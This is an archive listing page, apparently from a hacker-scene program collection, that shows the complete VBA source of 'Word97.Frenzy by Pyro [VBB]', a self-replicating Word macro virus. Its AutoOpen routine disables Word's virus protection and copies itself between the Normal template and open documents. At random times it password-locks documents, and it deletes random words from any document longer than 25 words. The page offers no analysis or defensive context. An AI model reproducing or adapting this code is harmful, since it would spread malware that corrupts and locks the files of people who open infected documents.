home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / FRENZY.ZIP / FRENZY.BAS < prev    next >
BASIC Source File  |  1997-03-17  |  1KB  |  51 lines
  1. Attribute VB_Name = "Frenzy"
  2. Sub AutoOpen()
  3. Attribute AutoOpen.VB_Description = "Frenzy!"
  4. On Error Resume Next
  5.  
  6.     Options.VirusProtection = False
  7.  
  8.     If MacroContainer = NormalTemplate.Name Then
  9.         Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
  10.         If ActiveDocument.SaveFormat = wdFormatDocument Then
  11.             ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
  12.         End If
  13.     Else
  14.         Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
  15.         If NormalTemplate.Saved = False Then
  16.             NormalTemplate.Save
  17.         End If
  18.     End If
  19.  
  20.     If Day(Now()) = Int(Rnd() * 31 + 1) Then
  21.  
  22.         Assistant.Visible = True
  23.  
  24.         With Assistant.NewBalloon
  25.             .Animation = msoAnimationGetAttentionMajor
  26.             .Heading = "Attention:"
  27.             .Text = "Word97.Frenzy by Pyro [VBB]"
  28.             .Icon = msoIconAlert
  29.             .Show
  30.         End With
  31.  
  32.     End If
  33.  
  34.  
  35.     If Minute(Now()) = Int(Rnd() * 60) Then
  36.  
  37.         If ActiveDocument.HasPassword = False Then
  38.             ActiveDocument.Password = "Frenzy"
  39.         End If
  40.  
  41.     End If
  42.  
  43.  
  44.     If ActiveDocument.Words.Count > 25 Then
  45.  
  46.         Char = Int(Rnd() * ActiveDocument.Words.Count)
  47.         ActiveDocument.Words(Char).Delete
  48.  
  49.     End If
  50.  
  51. End Sub